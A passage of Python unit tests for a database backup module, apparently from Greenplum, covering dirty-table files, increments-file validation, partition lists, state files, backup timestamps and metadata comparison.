self.create_backup_dirs(top_dir=backup_dir, dump_dirs=['20121212'])
tmpfilename = write_dirty_file('/data', dirty_tables, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, timestamp_key)
with open(tmpfilename) as tmpfile:
output = tmpfile.readlines()
output = map(lambda x: x.strip(), output)
self.assertEqual(dirty_tables, output)
os.remove(tmpfilename)
self.remove_backup_dirs(top_dir=backup_dir, dump_dirs=['20121212'])
def test03_write_dirty_file(self):
dirty_tables = None
timestamp_key = '20121212010101'
backup_dir = None
self.create_backup_dirs(dump_dirs=['20121212'])
tmpfilename = write_dirty_file(dirty_tables, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, timestamp_key)
self.assertEqual(tmpfilename, None)
self.remove_backup_dirs(dump_dirs=['20121212'])
def test03a_write_dirty_file(self):
dirty_tables = None
timestamp_key = '20121212010101'
backup_dir = '/tmp'
self.create_backup_dirs(top_dir=backup_dir, dump_dirs=['20121212'])
tmpfilename = write_dirty_file('/data', dirty_tables, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, timestamp_key)
self.assertEqual(tmpfilename, None)
self.remove_backup_dirs(top_dir=backup_dir, dump_dirs=['20121212'])
def test04_write_dirty(self):
dirty_tables = []
timestamp_key = '20121212010101'
backup_dir = None
self.create_backup_dirs(dump_dirs=['20121212'])
tmpfilename = write_dirty_file(os.getcwd(), dirty_tables, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, timestamp_key)
with open(tmpfilename) as tmpfile:
output = tmpfile.readlines()
output = map(lambda x: x.strip(), output)
self.assertEqual(dirty_tables, output)
os.remove(tmpfilename)
self.remove_backup_dirs(dump_dirs=['20121212'])
def test04a_write_dirty(self):
dirty_tables = []
timestamp_key = '20121212010101'
backup_dir = '/tmp'
self.create_backup_dirs(top_dir=backup_dir, dump_dirs=['20121212'])
tmpfilename = write_dirty_file(os.getcwd(), dirty_tables, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, timestamp_key)
with open(tmpfilename) as tmpfile:
output = tmpfile.readlines()
output = map(lambda x: x.strip(), output)
self.assertEqual(dirty_tables, output)
os.remove(tmpfilename)
self.remove_backup_dirs(top_dir=backup_dir, dump_dirs=['20121212'])
@patch('gppylib.operations.dump.get_lines_from_file', return_value=['20120330120102', '20120330120103'])
@patch('gppylib.operations.dump.get_incremental_ts_from_report_file', return_value='20120330120102')
def test05_validate_increments_file(self, mock1, mock2):
# expect no exception to die out of this
CreateIncrementsFile.validate_increments_file('testdb', '/tmp/fn', '/data', None, None, None)
@patch('gppylib.operations.dump.get_lines_from_file', return_value=['20120330120102', '20120330120103'])
@patch('gppylib.operations.dump.get_incremental_ts_from_report_file', side_effect=Exception('invalid timestamp'))
def test06_validate_increments_file(self, mock1, mock2):
with self.assertRaisesRegexp(Exception, "Timestamp '20120330120102' from increments file '/tmp/fn' is not a valid increment"):
CreateIncrementsFile.validate_increments_file('testdb', '/tmp/fn', '/data', None, None, None)
@patch('gppylib.operations.dump.get_lines_from_file', return_value=['20120330120102', '20120330120103'])
@patch('gppylib.operations.dump.get_incremental_ts_from_report_file', return_value=None)
def test07_validate_increments_file(self, mock1, mock2):
with self.assertRaisesRegexp(Exception, "Timestamp '20120330120102' from increments file '/tmp/fn' is not a valid increment"):
CreateIncrementsFile.validate_increments_file('testdb', '/tmp/fn', '/data', None, None, None)
def test08_CreateIncrementsFile_init(self):
obj = CreateIncrementsFile('testdb', '20121225000000', '20121226000000', '/data', None, self.dumper.dump_dir, self.dumper.dump_prefix, False, None, None)
self.assertEquals(obj.increments_filename, '/data/db_dumps/20121225/gp_dump_20121225000000_increments')
def test09_CreateIncrementsFile_execute(self):
obj = CreateIncrementsFile('testdb', '20121225000000', '20121226000000', '/data', None, self.dumper.dump_dir, self.dumper.dump_prefix, False, None, None)
obj.increments_filename = os.path.join(os.getcwd(), 'test.increments')
if os.path.isfile(obj.increments_filename):
os.remove(obj.increments_filename)
result = obj.execute()
self.assertEquals(1, result)
os.remove(obj.increments_filename)
def test10_CreateIncrementsFile_execute(self):
obj = CreateIncrementsFile('testdb', '20121225000000', '20121226000000', '/data', None, self.dumper.dump_dir, self.dumper.dump_prefix, False, None, None)
obj.increments_filename = os.path.join(os.getcwd(), 'test.increments')
with open(obj.increments_filename, 'w') as fd:
fd.write('20121225100000')
with self.assertRaisesRegexp(Exception, ".* is not a valid increment"):
obj.execute()
os.remove(obj.increments_filename)
@patch('gppylib.operations.dump.CreateIncrementsFile.validate_increments_file')
def test11_CreateIncrementsFile_execute(self, mock1):
obj = CreateIncrementsFile('testdb', '20121225000000', '20121226000000', '/data', None, self.dumper.dump_dir, self.dumper.dump_prefix, False, None, None)
obj.increments_filename = os.path.join(os.getcwd(), 'test.increments')
with open(obj.increments_filename, 'w') as fd:
fd.write('20121225100000\n')
result = obj.execute()
self.assertEquals(2, result)
os.remove(obj.increments_filename)
@patch('gppylib.operations.dump.get_lines_from_file', return_value=[])
def test12_CreateIncrementsFile_execute(self, mock1):
obj = CreateIncrementsFile('testdb', '20121225000000', '20121226000000', '/data', None, self.dumper.dump_dir, self.dumper.dump_prefix, False, None, None)
obj.increments_filename = os.path.join(os.getcwd(), 'test.increments')
with self.assertRaisesRegexp(Exception, 'File not written to'):
result = obj.execute()
os.remove(obj.increments_filename)
@patch('gppylib.operations.dump.get_lines_from_file', return_value=['20121225100000'])
@patch('gppylib.operations.dump.CreateIncrementsFile.validate_increments_file')
def test13_CreateIncrementsFile_execute(self, mock1, mock2):
obj = CreateIncrementsFile('testdb', '20121225000000', '20121226000000', '/data', None, self.dumper.dump_dir, self.dumper.dump_prefix, False, None, None)
obj.increments_filename = os.path.join(os.getcwd(), 'test.increments')
with open(obj.increments_filename, 'w') as fd:
fd.write('20121225100000\n')
with self.assertRaisesRegexp(Exception, 'not written to'):
result = obj.execute()
os.remove(obj.increments_filename)
@patch('gppylib.operations.dump.get_lines_from_file', return_value=['20121225100001', '20121226000000'])
@patch('gppylib.operations.dump.CreateIncrementsFile.validate_increments_file')
def test14_CreateIncrementsFile_execute(self, mock1, mock2):
obj = CreateIncrementsFile('testdb', '20121225000000', '20121226000000', '/data', None, self.dumper.dump_dir, self.dumper.dump_prefix, False, None, None)
obj.increments_filename = os.path.join(os.getcwd(), 'test.increments')
with open(obj.increments_filename, 'w') as fd:
fd.write('20121225100000\n')
with self.assertRaisesRegexp(Exception, 'trouble adding timestamp'):
result = obj.execute()
os.remove(obj.increments_filename)
@patch('gppylib.operations.dump.get_partition_list', return_value=[[123, 'myschema', 't1'], [4444, 'otherschema', 't2'], [992313, 'public', 't3']])
@patch('gppylib.operations.dump.generate_partition_list_filename', return_value=os.path.join(os.getcwd(), 'test'))
@patch('gppylib.operations.dump.get_filter_file', return_value=None)
def test_write_partition_list_file_00(self, mock1, mock2, mock3):
master_datadir = 'foo'
backup_dir = None
timestamp_key = '01234567891234'
dbname = 'bkdb'
port = '5432'
partition_list_file = os.path.join(os.getcwd(), 'test')
write_partition_list_file(master_datadir, backup_dir, timestamp_key, port, dbname, self.dumper.dump_dir, self.dumper.dump_prefix)
if not os.path.isfile(partition_list_file):
raise Exception('Partition list file %s not created' % partition_list_file)
with open(partition_list_file) as fd:
partition_list_file_contents = fd.read()
temp_list = partition_list_file_contents.splitlines()
self.assertEqual(temp_list, ['myschema.t1', 'otherschema.t2', 'public.t3'])
os.remove(partition_list_file)
@patch('gppylib.operations.dump.get_partition_list', return_value=[])
@patch('gppylib.operations.dump.generate_partition_list_filename', return_value=os.path.join(os.getcwd(), 'test'))
@patch('gppylib.operations.dump.get_filter_file', return_value=None)
def test_write_partition_list_file_01(self, mock1, mock2, mock3):
master_datadir = 'foo'
backup_dir = None
timestamp_key = '01234567891234'
dbname = 'bkdb'
port = '5432'
partition_list_file = os.path.join(os.getcwd(), 'test')
write_partition_list_file(master_datadir, backup_dir, timestamp_key, port, dbname, self.dumper.dump_dir, self.dumper.dump_prefix)
if not os.path.isfile(partition_list_file):
raise Exception('Partition list file %s not created' % partition_list_file)
with open(partition_list_file) as fd:
partition_list_file_contents = fd.read()
temp_list = partition_list_file_contents.splitlines()
self.assertEqual(temp_list, [])
os.remove(partition_list_file)
@patch('gppylib.operations.dump.get_partition_list', return_value=[['t1'], ['t2'], ['t3']])
@patch('gppylib.operations.dump.generate_partition_list_filename', return_value=os.path.join(os.getcwd(), 'test'))
@patch('gppylib.operations.dump.get_filter_file', return_value=None)
def test_write_partition_list_file_02(self, mock1, mock2, mock3):
master_datadir = 'foo'
backup_dir = None
timestamp_key = '01234567891234'
dbname = 'bkdb'
port = '5432'
partition_list_file = os.path.join(os.getcwd(), 'test')
with self.assertRaisesRegexp(Exception, 'Invalid results from query to get all tables'):
write_partition_list_file(master_datadir, backup_dir, timestamp_key, port, dbname, self.dumper.dump_dir, self.dumper.dump_prefix)
@patch('gppylib.operations.dump.get_partition_list', return_value=[['t1', 'foo', 'koo'], ['public', 't2'], ['public', 't3']])
@patch('gppylib.operations.dump.generate_partition_list_filename', return_value=os.path.join(os.getcwd(), 'test'))
@patch('gppylib.operations.dump.get_filter_file', return_value=None)
def test_write_partition_list_file_03(self, mock1, mock2, mock3):
master_datadir = 'foo'
backup_dir = None
timestamp_key = '01234567891234'
dbname = 'bkdb'
port = '5432'
partition_list_file = os.path.join(os.getcwd(), 'test')
with self.assertRaisesRegexp(Exception, 'Invalid results from query to get all tables'):
write_partition_list_file(master_datadir, backup_dir, timestamp_key, port, dbname, self.dumper.dump_dir, self.dumper.dump_prefix)
@patch('gppylib.operations.dump.get_partition_list', return_value=[['t1', 'foo', 'koo'], ['public', 't2'], ['public', 't3']])
@patch('gppylib.operations.dump.generate_partition_list_filename', return_value=os.path.join(os.getcwd(), 'test'))
@patch('gppylib.operations.dump.get_filter_file', return_value='/foo')
@patch('gppylib.operations.dump.get_lines_from_file', return_value=['public.t1', 'public.t2'])
@patch('gppylib.operations.backup_utils.get_lines_from_file', return_value=['public.t3', 'public.t2'])
@patch('shutil.copyfile')
def test_write_partition_list_file_04(self, mock1, mock2, mock3, mock4, mock5, mock6):
master_datadir = 'foo'
backup_dir = None
timestamp_key = '01234567891234'
dbname = 'bkdb'
port = '5432'
partition_list_file = os.path.join(os.getcwd(), 'test')
with self.assertRaisesRegexp(Exception, 'After writing file .* contents not as expected, suspected IO error'):
write_partition_list_file(master_datadir, backup_dir, timestamp_key, port, dbname, self.dumper.dump_dir, self.dumper.dump_prefix)
def test_dirty_file_to_temp_00(self):
dirty_tables = ['public.t1', 'public.t2', 'pepper.t3']
dirty_file = write_dirty_file_to_temp(dirty_tables)
self.assertTrue(os.path.basename(dirty_file).startswith('dirty_backup_list'))
self.assertTrue(os.path.isfile(dirty_file))
content = get_lines_from_file(dirty_file)
self.assertEqual(dirty_tables, content)
os.remove(dirty_file)
def test_dirty_file_to_temp_01(self):
dirty_tables = ['']
dirty_file = write_dirty_file_to_temp(dirty_tables)
self.assertTrue(os.path.basename(dirty_file).startswith('dirty_backup_list'))
self.assertTrue(os.path.isfile(dirty_file))
content = get_lines_from_file(dirty_file)
self.assertEqual(dirty_tables, content)
os.remove(dirty_file)
def test_dirty_file_to_temp_02(self):
dirty_tables = ['']
dirty_file = write_dirty_file_to_temp(dirty_tables)
self.assertTrue(os.path.basename(dirty_file).startswith('dirty_backup_list'))
self.assertTrue(os.path.isfile(dirty_file))
content = get_lines_from_file(dirty_file)
self.assertEqual(dirty_tables, content)
os.remove(dirty_file)
def test_create_dump_outcome_00(self):
start = datetime(2012, 7, 31, 9, 30, 00)
end = datetime(2012, 8, 1, 12, 21, 11)
rc = 5
expected_outcome = {'timestamp_start': '20120731093000',
'time_start': '09:30:00',
'time_end': '12:21:11',
'exit_status': 5}
outcome = self.dumper.create_dump_outcome(start, end, rc)
self.assertTrue(expected_outcome == outcome)
def test_get_report_dir00(self):
pdd = PostDumpDatabase(timestamp_start=None,
compress=None,
backup_dir='/tmp',
batch_default=None,
master_datadir='/master',
master_port=None,
dump_dir='db_dumps',
dump_prefix='',
ddboost=None,
netbackup_service_host=None,
incremental=False)
self.assertEquals(pdd.get_report_dir('20120930'), '/tmp/db_dumps/20120930')
def test_get_report_dir01(self):
pdd = PostDumpDatabase(timestamp_start=None,
compress=None,
backup_dir=None,
batch_default=None,
master_datadir='/master',
master_port=None,
dump_dir='db_dumps',
dump_prefix='',
ddboost=None,
netbackup_service_host=None,
incremental=False)
self.assertEquals(pdd.get_report_dir('20120930'), '/master/db_dumps/20120930')
@patch('gppylib.operations.dump.ValidateDumpDatabase.run')
@patch('gppylib.operations.dump.Command.run')
@patch('gppylib.operations.dump.Command.get_results', return_value=CommandResult(0, "", "", True, False))
@patch('gppylib.operations.dump.DumpDatabase.create_filter_file')
def test_execute_00(self, mock1, mock2, mock3, mock4):
self.dumper.execute()
# should not raise any exceptions
@patch('gppylib.operations.dump.dbconn.DbURL')
@patch('gppylib.operations.dump.dbconn.connect')
@patch('gppylib.operations.dump.execSQLForSingleton', return_value='100')
def test_get_partition_state_00(self, mock1, mock2, mock3):
master_port=5432
dbname='testdb'
partition_info = [(123, 'pepper', 't1', 4444), (234, 'pepper', 't2', 5555)]
expected_output = ['pepper, t1, 100', 'pepper, t2, 100']
result = get_partition_state(master_port, dbname, 'pg_aoseg', partition_info)
self.assertEqual(result, expected_output)
@patch('gppylib.operations.dump.dbconn.DbURL')
@patch('gppylib.operations.dump.dbconn.connect')
def test_get_partition_state_01(self, mock1, mock2):
master_port=5432
dbname='testdb'
partition_info = []
expected_output = []
result = get_partition_state(master_port, dbname, 'pg_aoseg', partition_info)
self.assertEqual(result, expected_output)
@patch('gppylib.operations.dump.dbconn.DbURL')
@patch('gppylib.operations.dump.dbconn.connect')
@patch('gppylib.operations.dump.execSQLForSingleton', return_value='10000000000000000')
def test_get_partition_state_02(self, mock1, mock2, mock3):
master_port=5432
dbname='testdb'
partition_info = [(123, 'pepper', 't1', 4444), (234, 'pepper', 't2', 5555)]
expected_output = ['pepper, t1, 10000000000000000', 'pepper, t2, 10000000000000000']
with self.assertRaisesRegexp(Exception, 'Exceeded backup max tuple count of 1 quadrillion rows per table for:'):
get_partition_state(master_port, dbname, 'pg_aoseg', partition_info)
@patch('gppylib.operations.dump.dbconn.DbURL')
@patch('gppylib.operations.dump.dbconn.connect')
@patch('gppylib.operations.dump.execSQLForSingleton', return_value='100')
def test_get_partition_state_with_more_than_thousand_partition(self, mock1, mock2, mock3):
master_port=5432
dbname='testdb'
partition_info = [(123, 'pepper', 't1', 4444), (234, 'pepper', 't2', 5555)] * 1000
expected_output = ['pepper, t1, 100', 'pepper, t2, 100'] * 1000
result = get_partition_state(master_port, dbname, 'pg_aoseg', partition_info)
self.assertEqual(result, expected_output)
def test_get_filename_from_filetype_00(self):
table_type = 'ao'
master_datadir = 'foo'
backup_dir = None
timestamp_key = '20121212010101'
self.create_backup_dirs(dump_dirs=['20121212'])
expected_output = '%s/db_dumps/20121212/gp_dump_%s_ao_state_file' % (master_datadir, timestamp_key)
result = get_filename_from_filetype(table_type, master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, timestamp_key)
self.assertEqual(result, expected_output)
self.remove_backup_dirs(dump_dirs=['20121212'])
def test_get_filename_from_filetype_01(self):
table_type = 'co'
master_datadir = 'foo'
backup_dir = None
timestamp_key = '20121212010101'
self.create_backup_dirs(dump_dirs=['20121212'])
expected_output = '%s/db_dumps/20121212/gp_dump_%s_co_state_file' % (master_datadir, timestamp_key)
result = get_filename_from_filetype(table_type, master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, timestamp_key)
self.assertEqual(result, expected_output)
self.remove_backup_dirs(dump_dirs=['20121212'])
def test_get_filename_from_filetype_01_with_ddboost(self):
table_type = 'ao'
master_datadir = 'foo'
backup_dir = None
timestamp_key = '20121212010101'
self.create_backup_dirs(dump_dirs=['20121212'])
ddboost = True
dump_dir = 'backup/DCA-35'
expected_output = 'foo/backup/DCA-35/20121212/gp_dump_%s_ao_state_file' % (timestamp_key)
result = get_filename_from_filetype(table_type, master_datadir, backup_dir, dump_dir, self.dumper.dump_prefix, timestamp_key, ddboost)
self.assertEqual(result, expected_output)
self.remove_backup_dirs(dump_dirs=['20121212'])
def test_get_filename_from_filetype_02(self):
table_type = 'foo'
master_datadir = '/foo'
backup_dir = None
timestamp_key = '20121212010101'
with self.assertRaisesRegexp(Exception, 'Invalid table type *'):
get_filename_from_filetype(table_type, master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, timestamp_key)
def test_get_filename_from_filetype_02_with_ddboost(self):
table_type = 'co'
master_datadir = 'foo'
backup_dir = None
timestamp_key = '20121212010101'
self.create_backup_dirs(dump_dirs=['20121212'])
ddboost = True
dump_dir = 'backup/DCA-35'
expected_output = 'foo/backup/DCA-35/20121212/gp_dump_%s_co_state_file' % (timestamp_key)
result = get_filename_from_filetype(table_type, master_datadir, backup_dir, dump_dir, self.dumper.dump_prefix, timestamp_key, ddboost)
self.assertEqual(result, expected_output)
self.remove_backup_dirs(dump_dirs=['20121212'])
def test_write_state_file_00(self):
table_type = 'foo'
master_datadir = '/foo'
backup_dir = None
timestamp_key = '20121212010101'
partition_list = ['pepper, t1, 100', 'pepper, t2, 100']
with self.assertRaisesRegexp(Exception, 'Invalid table type *'):
write_state_file(table_type, master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, partition_list)
@patch('gppylib.operations.dump.get_filename_from_filetype', return_value='/tmp/db_dumps/20121212/gp_dump_20121212010101_ao_state_file')
def test_write_state_file_01(self, mock1):
table_type = 'ao'
master_datadir = 'foo'
backup_dir = None
timestamp_key = '20121212010101'
partition_list = ['pepper, t1, 100', 'pepper, t2, 100']
self.create_backup_dirs(top_dir='/tmp', dump_dirs=['20121212'])
write_state_file(table_type, master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, partition_list)
if not os.path.isfile('/tmp/db_dumps/20121212/gp_dump_20121212010101_ao_state_file'):
raise Exception('AO state file was not created successfully')
self.remove_backup_dirs(top_dir='/tmp', dump_dirs=['20121212'])
@patch('gppylib.operations.dump.execute_sql', return_value=[['public', 'ao_table', 123, 'CREATE', 'table', '2012: 1'], ['pepper', 'co_table', 333, 'TRUNCATE', '', '2033 :1 - 111']])
def test_get_last_operation_data_00(self, mock):
output = get_last_operation_data(1, 'foodb')
expected = ['public,ao_table,123,CREATE,table,2012: 1', 'pepper,co_table,333,TRUNCATE,,2033 :1 - 111']
self.assertEquals(output, expected)
@patch('gppylib.operations.dump.execute_sql', return_value=[])
def test_get_last_operation_data_01(self, mock):
output = get_last_operation_data(1, 'foodb')
expected = []
self.assertEquals(output, expected)
@patch('gppylib.operations.dump.execute_sql', return_value=[[123, 'table', '2012: 1'], [333, 'TRUNCATE', '', '2033 :1 - 111']])
def test_get_last_operation_data_02(self, mock):
with self.assertRaisesRegexp(Exception, 'Invalid return from query'):
get_last_operation_data(1, 'foodb')
@patch('gppylib.operations.dump.get_last_dump_timestamp', return_value='20121212121212')
@patch('gppylib.operations.dump.os.path.isfile', return_value=True)
@patch('gppylib.operations.dump.get_lines_from_file', return_value=['pepper, t1, 100', 'pepper, t2, 100'])
def test_get_last_state_00(self, mock1, mock2, mock3):
table_type = 'ao'
master_datadir = 'foo'
backup_dir = None
full_timestamp = '20121212010101'
expected_output = ['pepper, t1, 100', 'pepper, t2, 100']
output = get_last_state(table_type, master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp)
self.assertEqual(output, expected_output)
@patch('gppylib.operations.dump.get_last_dump_timestamp', return_value='20121212121212')
@patch('gppylib.operations.dump.os.path.isfile', return_value=False)
@patch('gppylib.operations.dump.generate_ao_state_filename', return_value='foo')
def test_get_last_state_01(self, mock1, mock2, mock3):
table_type = 'ao'
master_datadir = '/foo'
backup_dir = None
full_timestamp = '20121212010101'
with self.assertRaisesRegexp(Exception, 'ao state file does not exist: foo'):
get_last_state(table_type, master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp)
@patch('gppylib.operations.dump.get_last_dump_timestamp', return_value='20121212121212')
@patch('gppylib.operations.dump.os.path.isfile', return_value=True)
@patch('gppylib.operations.dump.get_lines_from_file', return_value=[])
def test_get_last_state_02(self, mock1, mock2, mock3):
table_type = 'ao'
master_datadir = 'foo'
backup_dir = None
full_timestamp = '20121212010101'
expected_output = []
output = get_last_state(table_type, master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp)
self.assertEqual(output, expected_output)
@patch('gppylib.operations.dump.get_last_dump_timestamp', return_value='20121212121212')
@patch('gppylib.operations.dump.os.path.isfile', return_value=True)
@patch('gppylib.operations.dump.get_lines_from_file', return_value=[])
@patch('gppylib.operations.dump.check_file_dumped_with_nbu', return_value=True)
@patch('gppylib.operations.dump.restore_file_with_nbu')
def test_get_last_state_03(self, mock1, mock2, mock3, mock4, mock5):
table_type = 'ao'
master_datadir = 'foo'
backup_dir = None
full_timestamp = '20121212010101'
netbackup_service_host = "mdw"
netbackup_block_size = "1024"
expected_output = []
output = get_last_state(table_type, master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_block_size)
self.assertEqual(output, expected_output)
def test_compare_dict_00(self):
last_dict = {'pepper.t1':'100', 'pepper.t2':'200'}
curr_dict = {'pepper.t1':'200', 'pepper.t2':'200'}
expected_output = set(['pepper.t1'])
result = compare_dict(last_dict, curr_dict)
self.assertEqual(result, expected_output)
def test_compare_dict_01(self):
last_dict = {'pepper.t1':'100', 'pepper.t2':'200', 'pepper.t3':'300'}
curr_dict = {'pepper.t1':'100', 'pepper.t2':'100'}
expected_output = set(['pepper.t2'])
result = compare_dict(last_dict, curr_dict)
self.assertEqual(result, expected_output)
def test_compare_dict_02(self):
last_dict = {'pepper.t1':'100', 'pepper.t2':'200'}
curr_dict = {'pepper.t1':'100', 'pepper.t2':'200', 'pepper.t3':'300'}
expected_output = set(['pepper.t3'])
result = compare_dict(last_dict, curr_dict)
self.assertEqual(result, expected_output)
def test_compare_dict_03(self):
last_dict = {'pepper.t1':'100', 'pepper.t2':'200'}
curr_dict = {'pepper.t1':'100', 'pepper.t2':'200'}
expected_output = set([])
result = compare_dict(last_dict, curr_dict)
self.assertEqual(result, expected_output)
def test_create_partition_dict_00(self):
partition_list = ['pepper, t1, 100', 'pepper, t2, 200']
expected_output = {'pepper.t1':'100', 'pepper.t2':'200'}
result = create_partition_dict(partition_list)
self.assertEqual(result, expected_output)
def test_create_partition_dict_01(self):
partition_list = []
expected_output = {}
result = create_partition_dict(partition_list)
self.assertEqual(result, expected_output)
def test_create_partition_dict_02(self):
partition_list = ['pepper t1 100']
with self.assertRaisesRegexp(Exception, 'Invalid state file format *'):
create_partition_dict(partition_list)
@patch('gppylib.operations.dump.generate_increments_filename')
@patch('gppylib.operations.dump.os.path.isdir', return_value=False)
@patch('gppylib.operations.dump.os.path.isfile', return_value=False)
def test_get_last_dump_timestamp_00(self, mock1, mock2, mock3):
master_datadir = '/foo'
backup_dir = None
full_timestamp = '20121212010101'
result = get_last_dump_timestamp(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp)
self.assertEqual(result, full_timestamp)
@patch('gppylib.operations.dump.get_lines_from_file', return_value=['20121212121210', '20121212121211'])
@patch('gppylib.operations.dump.generate_increments_filename')
@patch('gppylib.operations.dump.os.path.isdir', return_value=True)
@patch('gppylib.operations.dump.os.path.isfile', return_value=True)
def test_get_last_dump_timestamp_01(self, mock1, mock2, mock3, mock4):
master_datadir = 'foo'
backup_dir = None
full_timestamp = '20121212010101'
expected_output = '20121212121211'
result = get_last_dump_timestamp(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp)
self.assertEqual(result, expected_output)
@patch('gppylib.operations.dump.generate_increments_filename')
@patch('gppylib.operations.dump.os.path.isdir', return_value=True)
@patch('gppylib.operations.dump.os.path.isfile', return_value=True)
@patch('gppylib.operations.dump.get_lines_from_file', return_value=['2012093009300q'])
def test_get_last_dump_timestamp_02(self, mock1, mock2, mock3, mock4):
master_datadir = 'foo'
backup_dir = None
full_timestamp = '20121212010101'
expected = '20120930093000'
with self.assertRaisesRegexp(Exception, 'get_last_dump_timestamp found invalid ts in file'):
get_last_dump_timestamp(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp)
@patch('gppylib.operations.dump.generate_increments_filename')
@patch('gppylib.operations.dump.os.path.isdir', return_value=True)
@patch('gppylib.operations.dump.os.path.isfile', return_value=True)
@patch('gppylib.operations.dump.get_lines_from_file', return_value=[' 20120930093000 \n \n '])
def test_get_last_dump_timestamp_03(self, mock1, mock2, mock3, mock4):
master_datadir = 'foo'
backup_dir = None
full_timestamp = '20121212010101'
expected = '20120930093000'
result = get_last_dump_timestamp(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp)
self.assertEqual(result, expected)
@patch('gppylib.operations.dump.generate_increments_filename')
@patch('gppylib.operations.dump.get_lines_from_file', return_value=[' 20120930093000 \n \n '])
@patch('gppylib.operations.dump.check_file_dumped_with_nbu', return_value=True)
@patch('gppylib.operations.dump.restore_file_with_nbu')
@patch('gppylib.operations.dump.os.path.exists', return_value=True)
def test_get_last_dump_timestamp_04(self, mock1, mock2, mock3, mock4, mock5):
master_datadir = 'foo'
backup_dir = None
full_timestamp = '20121212010101'
netbackup_service_host = "mdw"
netbackup_block_size = "1024"
expected = '20120930093000'
result = get_last_dump_timestamp(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_block_size)
self.assertEqual(result, expected)
@patch('gppylib.operations.dump.generate_increments_filename')
@patch('gppylib.operations.dump.check_file_dumped_with_nbu', return_value=False)
def test_get_last_dump_timestamp_05(self, mock1, mock2):
master_datadir = 'foo'
backup_dir = None
full_timestamp = '20121212010101'
netbackup_service_host = "mdw"
netbackup_block_size = "1024"
expected = '20121212010101'
result = get_last_dump_timestamp(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_block_size)
self.assertEqual(result, expected)
def test_get_pgstatlastoperations_dict_00(self):
last_operations = ['public,t1,1234,ALTER,,201212121212:101010']
last_operations_dict = get_pgstatlastoperations_dict(last_operations)
expected_output = {('1234', 'ALTER'): 'public,t1,1234,ALTER,,201212121212:101010'}
self.assertEqual(last_operations_dict, expected_output)
def test_get_pgstatlastoperations_dict_01(self):
last_operations = ['public,t1,1234,ALTER,,201212121212:101010', 'public,t2,1234,VACCUM,TRUNCATE,201212121212:101015']
last_operations_dict = get_pgstatlastoperations_dict(last_operations)
expected_output = {('1234', 'ALTER'): 'public,t1,1234,ALTER,,201212121212:101010',
('1234', 'VACCUM'): 'public,t2,1234,VACCUM,TRUNCATE,201212121212:101015'}
self.assertEqual(last_operations_dict, expected_output)
def test_get_pgstatlastoperations_dict_02(self):
last_operations = []
last_operations_dict = get_pgstatlastoperations_dict(last_operations)
expected_output = {}
self.assertEqual(last_operations_dict, expected_output)
def test_get_pgstatlastoperations_dict_03(self):
last_operations = ['public,t1,1234,ALTER,,201212121212:101010', '2345,VACCUM,TRUNCATE,201212121212:101015']
with self.assertRaisesRegexp(Exception, 'Wrong number of tokens in last_operation data for last backup'):
get_pgstatlastoperations_dict(last_operations)
def test_compare_metadata_00(self):
old_metadata = {('1234', 'ALTER'): 'public,t1,1234,ALTER,,201212121212:101010'}
cur_metadata = ['public,t1,1234,ALTER,,201212121212:101010']
dirty_tables = compare_metadata(old_metadata, cur_metadata)
self.assertEquals(dirty_tables, set())
def test_compare_metadata_01(self):
old_metadata = {('1234', 'ALTER'): 'public,t1,1234,ALTER,,201212121212:101010'}
cur_metadata = ['public,t1,1234,TRUNCATE,,201212121212:101010']
dirty_tables = compare_metadata(old_metadata, cur_metadata)
self.assertEquals(dirty_tables, set(['public.t1']))
def test_compare_metadata_02(self):
old_metadata = {('1234', 'ALTER'): 'public,t1,1234,ALTER,,201212121212:101010'}
cur_metadata = ['public,t1,1234,ALTER,,201212121212:102510']
dirty_tables = compare_metadata(old_metadata, cur_metadata)
self.assertEquals(dirty_tables, set(['public.t1']))
def test_compare_metadata_03(self):
old_metadata = {('1234', 'ALTER'): 'public,t1,1234,ALTER,,201212121212:101010'}
cur_metadata = ['public,t1,1234,ALTER,,201212121212:101010','public,t1,1234,TRUNCATE,,201212121212:101010']
dirty_tables = compare_metadata(old_metadata, cur_metadata)
self.assertEquals(dirty_tables, set(['public.t1']))
def test_compare_metadata_04(self):
old_metadata = {('1234', 'ALTER'): 'public,t1,1234,ALTER,,201212121212:101010'}
cur_metadata = ['public,t1,1234,ALTER,,201212121212:101010,']
with self.assertRaisesRegexp(Exception, 'Wrong number of tokens in last_operation data for current backup'):
compare_metadata(old_metadata, cur_metadata)
@patch('gppylib.operations.dump.get_last_dump_timestamp', return_value='20121212010100')
@patch('gppylib.operations.dump.get_lines_from_file', return_value=[])
def test_get_tables_with_dirty_metadata_00(self, mock1, mock2):
expected_output = set()
master_datadir = 'foo'
backup_dir = None
full_timestamp = '20121212010101'
cur_pgstatoperations = []
dirty_tables = get_tables_with_dirty_metadata(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, cur_pgstatoperations)
self.assertEqual(dirty_tables, expected_output)
@patch('gppylib.operations.dump.get_last_dump_timestamp', return_value='20121212010100')
